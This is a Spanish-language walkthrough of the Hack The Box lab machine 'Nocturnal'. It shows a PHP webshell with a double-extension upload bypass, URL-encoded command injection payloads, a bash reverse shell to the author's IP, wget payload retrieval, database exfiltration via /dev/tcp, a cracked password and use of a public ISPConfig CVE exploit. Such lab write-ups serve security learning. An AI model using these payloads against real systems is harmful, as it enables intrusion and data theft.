La máquina Nocturnal es una máquina fácil de HTB.
Resumen de conceptos trabajados:
| –Enumerate ports/services (nmap) -Fuzzing -Web upload bypass -RCE por POST injection -Shell upgrade -SQLite analysis -Port forwarding y reconocimiento interno -Explotación CVE |
Si es tu primera máquina en Hack The Box y no sabes cómo conectarte a la máquina del laboratorio, te recomiendo que visites este post donde te cuento cómo introducirte en esta plataforma.
A continuación, para conectarte a la máquina, tendrás que establecer la conexión con la máquina víctima de HTB conectándote a la VPN desde la carpeta donde la tengas descargada, y desde ahí ejecutarás el comando «sudo openvpn NOMBRE_VPN.ovpn».
En este caso, cuando hice la máquina estaba dentro de las máquinas activas de HTB, por lo que por vpn me conecté al fichero lab_user.ovpn.
Estructura del contenido
NUMERACIÓN -> ESCANEO DE PUERTOS
Comenzamos con la enumeración de puertos y conocimiento de versiones y servicios que corren sobre los mismos.
Antes, a mi me gusta asegurarme que efectivamente la máquina víctima está activa y ante qué sistema operativo (OS) nos enfrentamos. Para ello:
¿Está la máquina víctima activa y nos podemos comunicar con ella?
Aquí lo que haremos es ejecutar el siguiente comando y ver si el «host is up»:
El TTL es de 64 (63 en HTB por el nodo intermediario) por lo que estamos ante una máquina Linux.
Ahora que sabemos que la máquina víctima está activa, procedemos escanear la red lanzando un nmap para detectar qué puertos están abiertos con el siguiente comando:
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.64 -oG Escaneo
Sabemos por tanto que los puertos 80 HTTP y 22 SSH están abiertos.
Ahora lo que vamos a hacer es analizar qué servicios y versiones corren para esos dos puertos abiertos con el objetivo de poder analizar a detalle posibles vulnerabilidades.
Para ello lanzamos el siguiente comando:
nmap -sCV -p80,22 10.10.11.64Y vemos tanto la versión del servidor OpenSSH 8.2p1 (que no reporta ninguna vulnerabilidad conocida en Exploit-DB), sin embargo para el puerto 80 vemos una redirección al dominio nocturnal.htb, por lo que parece que se está aplicando Virtual Hosting y tendremos que modificar el /etc/host de nuestra máquina atacante para ver qué devuelve la IP víctima en ese puerto web.
CONFIGURACIÓN VIRTUAL HOST
Virtual Hosting es cuando una dirección IP va asociada a varios dominios o subdominios. De esa forma estás vinculando una IP a un dominio/subdominio y poder resolverlos en el navegador sin tener que incluir la IP sino el nombre del domino/subdominio.
Para incluir la IP y asociarla al nuevo dominio nocturnal.htb dentro del archivo /etc/hosts puedes editar el fichero con nano, o directamente desde consola con el comando:
echo "10.10.11.64 nocturnal.htb" | sudo tee -a /etc/hostsSi ahora añadimos la IP en el navegador, nos hará una redir temporal al dominio y vemos:
Más allá de lo que parece a priori la principal pista con las opciones de registro y login donde poder «subir y ver mis archivos«, voy a hacer una breve investigación de la aplicación web en busca de pistas que me puedan ayudar a encontrar la forma de acceder al servidor directamente o quizás, como pueda intuir, encontrar algunas creds que me ayuden a acceder por ssh al servidor.
Analizo:
- Código fuente: nada relevante más allá de las páginas php de registro y login.
- Email: un email suuport@nocturnal.htb (support como posible usuario).
- Robots.txt: error 404
- Whatweb y Wappalyzer: para analizar versiones, etc, pero no encuentro nada relevante más allá de la versión de ngix 1.18.0 no vulnerable.
En este punto paso a analizar otros posibles directorios ocultos haciendo fuzzing web con gobuster y encontramos (además del registro y login), otros directorios que hacen una redir temporal a login.php, y una carpeta de /backups (que redirige a un 403…)
Los otros archivos de uploads que parecen interesantes, no me permiten el acceso…
Por lo que parece que por ahora sólo tenemos la opción de acceso a la página de login o register.
Como en login no tenemos user ni password (pese a probar las títpicas), y como tampoco tenemos más pistas ni de la aplicación ni de su versión, vamos a acceder al panel de register y crearnos una cuenta para ver si podemos subir algún fichero malicioso en php (ya que sabemos por la investigación previa que la aplicación web corre bajo php).
No me puedo registrar con los usuarios «admin» ni «root», pero si me invento cualquier otro usuario y contraseña, me dejan.
Ok, entonces estamos dentro (bajo el directorio dashboard.php – que antes nos daba error) y nos da la opción de poder subir un fichero sin más información, es decir, no nos pone restricciones a priori sobre la extensión del mismo, por lo que probamos a incluir un archivo malicioso en php como webshell y ver qué ocurre.
Creamos esa webshell en php básica con el nombre de shell.php con esta línea de comando:
<?php system($_GET['cmd']); ?>
Una vez probado a subir el fichero shell.php malicioso, nos dice que esa extensión no está permitida, solo estas:
Por lo que vamos a probar a subir el fichero bajo una doble extensión para ver si el backend se lo traga ya que a veces no está bien configurado y lo acepta (ej. shell.php.doc).
¡Y coló!
Y si hacemos hover sobre el enlace del fichero descargado, nos apunta a la siguiente url:
http://nocturnal.htb/view.php?username=seohack&file=shell.php.doc
Al ejecutar ese link, se hace una descarga directa del archivo por acceder a view.php— indicando que este endpoint probablemente lee el contenido y lo fuerza como descarga, usando funciones como readfile() o header('Content-Disposition: attachment').
FUZZING
Sin embargo, por la estructura de la url que devuelve el servidor al subir un archivo, nos muestra el parámetro username, por lo que vamos a intentar a hacer fuzzing a ver si se encuentran otros nombres de usuario que pueda encontrar y sobre los que hacer fuerza bruta.
Para ello probamos con ffuf configurando en la URL el valor de FUZZ en la variable username, y como HOST la Cookie session que tenía de mi registro, de modo que el comando quedaría:
ffuf -u "http://nocturnal.htb/view.php?username=FUZZ&file=shell.doc" -w /usr/share/wordlists/dirb/common.txt -H "Cookie: PHPSESSID=053inppov2uaakshc2tshsi1jo" -fs 2985
Obtenemos los usuarios: ad, admin, amanda, demo y test.
Si ahora probamos a sustituir esos usuarios uno a uno en la url dentro del navegador, vamos viendo que, para la misma session id, cada usuario tiene subidos distintos archivos.
Por ejemplo, el usuarios «ad» tiene 3 pdfs llamados «t.pdf» que no contiene nada relevante:
El usuario «admin» al cambiarlo en la url devuelve una redirección temporal 302 a la página del login:
Sin embargo, el usuario «amanda» nos devuelve un fichero subido llamado «privacy.odt»
Ese archivo privacy.odt es un comprimido que contiene distintos archivos, entre los que he ido investigando en busca de información relevante y he dado con el fichero «thumbnail.png» que contiene información sobre una password temporal para amanda «arHkG7HAI68X8s1J»:
Si ahora tratamos de logearnos como amanda, además de ver los ficheros subidos, podemos acceder al panel de Admin:
Llegamos a la url http://nocturnal.htb/admin.php que al inicio sin user ni pass nos hacía una redirección a login.php ; y vemos:
Sabiendo que podemos generar un backup, vamos a crearnos uno. Para ello lo que hacemos es incluir la contra de amanda, y darle a crear backup.
Esto nos permitirá poder descargarnos la copia que se genera bajo el directorio /backups/ que al igual que antes, nos daba una redir por defecto sin login al panel de login.php inicial:
Si vamos a descarga y la unzipeamos, no encuentro nada más relevante a priori.
RCE por POST INJECTION & SHELL UPGRADE
Sin embargo, vamos a probar a inyectar comandos a través de la petición http cuando queremos descargarnos el backup…lo haremos con Burpsuite de esta forma:
password=%0Abash%09-c%09"id"%0A&backup=
password=%0Abash%09-c%09"whoami"%0A&backup=
Esto nos indica que podemos ejecutar comandos (RCE) como el usuario www-data, a través del parámetro password= en el panel admin.
¿Qué significa esto?
- El parámetro
password=es vulnerable a inyección de comandos. - El comando se está ejecutando en el servidor como el usuario
www-data. - El output del comando se refleja directamente en la interfaz del panel de administración.
Por lo que el siguiente paso es crear una shell.php maliciosa que cargue el siguiente código:
<?php
system("bash -c 'bash -i >& /dev/tcp/10.10.14.179/1234 0>&1'");
?>Esa es mi IP atacante, y el 1234 será el puerto de escucha que elegirá para luego conectarme con la víctima.
Una vez he creado el shell.php, lo que hago es, levantarme un servidor en Python3:
Y envío esta petición en Burpsuite en el payload:
password=%0Abash%09-c%09"wget%0910.10.14.179:8000/shell.php"%0A&backup=
Vemos que se ha guardado el shell.php.1, por lo que ahora ejecutamos este payload y mientras nos ponemos en escucha por netcat por el puerto 1234:
Ejecutamos este payload ahora:
password=%0Abash%09-c%09"php%09shell.php.1"%0A&backup=
Y nos conecta:
Ojito luego con el payload, tienes que incluir el mismo que el que se ha subido. Yo hasta que me di cuenta de que era con un .1 porque se estaba reemplazando, me costó…no me había fijado en ese detalle.
Navegamos hasta el directorio de la db de nocturnal, y ejecutamos el siguiente comando para «llevarnos» ese fichero a nuestra máquina atacante y poder ver la información:
cat nocturnal_database.db > /dev/tcp/10.10.14.179/8888
SQLite ANALYSIS
Una vez ejecutado y recibido, ya solo tenemos que ver que ha llegado a nuestra carpeta y podemos ejecutarlo con sqlite3 y ver toda la información de la BBDD.
Vistas todas esos hasesh vamos al usuario tobias y lo crackeamos en base md5 con CrackStation, y tenemos la contra para pivotar de usuario: slowmotionapocalypse
Ahora toca escalar privilegios a root para encontrar la flag, ya que el usuario tobias no tiene permisos.
PORT FORWARDING
Si analizamos con el usuario tobias y aplicamos una enumeración de puertos locales con el comando (netstat -tuln) desde dentro del sistema, vemos que hay servicios escuchando en puertos internos, lo cual es una pista clara para escalar privilegios vía pivoting o port forwarding.
Para ello vamos a ejecutar Port Forwarding con SSH ya que tenemos acceso por SSH como tobias, haciendo un túnel desde nuestra Kali atacante hacia el puerto 9000 interno de la máquina víctima.
¿Qué es port forwarding?
Port forwarding (o redirección de puertos) es una técnica que te permite acceder a servicios que están ocultos o restringidos, como si estuvieras físicamente dentro de la red o la máquina.
ssh -L 9000:127.0.0.1:8080 tobias@10.10.11.64Esto significa:
- “Conéctame por SSH”
- “Redirige el puerto 9000 de mi Kali al puerto 8080 interno de la víctima”
Si accedemos por el navegador a la IP 127.0.0.1:9000 nos redirige a un /login
y analizando el código fuente vemos que está corriendo ISPconfig en su versión 3.2
EXPLOTACIÓN CVE
Buscamos en Google si existe algún exploit para esa versión de login, y efectivamente damos con un CVE-2023-46818 el cual «Se descubrió un problema en ISPConfig antes de 3.2.11p1. Un administrador puede lograr la inyección de código PHP en el editor de archivos de idioma si admin_allow_langedit está habilitado.»
En este caso encuentro en github el exploit en py por lo que paso a descargarlo y ejecutarlo:
https://github.com/bipbopbup/CVE-2023-46818-python-exploit/blob/main/exploit.py
Y ya estamos dentro como root y accedemos a la root flag:
RESUMEN DE LA MÁQUINA NOCTURNAL
| La máquina Nocturnal comienza con una página web accesible en el puerto 80, donde se ofrece un formulario de registro y login. Una vez registrados como usuarios normales, accedemos a un panel donde se pueden subir archivos, pero solo con ciertas extensiones permitidas como .pdf, .doc, .docx, etc. Subimos un archivo con código malicioso en PHP camuflado como shell.php.doc, y aunque no se ejecuta directamente desde la web, sí aparece listado en el panel, lo cual confirma que fue subido con éxito. Entonces empezamos a hacer pruebas con otras funcionalidades del sitio y descubrimos que en el panel de administración (al que accedemos como el usuario amanda, tras analizar una imagen oculta en un archivo .odt) existe una opción para crear copias de seguridad, y que el campo de “contraseña” es vulnerable ya que permite ejecutar comandos del sistema (esto se llama Remote Command Execution o RCE).Aprovechando esa vulnerabilidad, conseguimos ejecutar comandos como whoami, subir una reverse shell y conectarnos directamente al sistema como el usuario www-data. Desde ahí localizamos una base de datos SQLite interna (nocturnal_database.db), la transferimos a nuestra máquina usando netcat y analizamos su contenido. Descubrimos que contiene nombres de usuario y contraseñas cifradas; al crackearlas, obtenemos acceso como el usuario tobias. Al conectarnos como tobias, vemos que el sistema tiene un servicio en el puerto 8080 que solo es accesible desde dentro, por lo que usamos port forwarding con SSH para verlo desde nuestro navegador. Descubrimos que ese servicio es el panel de administración de ISPConfig 3.2, que tiene una vulnerabilidad pública: CVE-2023-46818. Usando un exploit público desde GitHub, lanzamos un ataque contra ese panel y conseguimos ejecutar comandos como root, logrando acceso total a la máquina. |
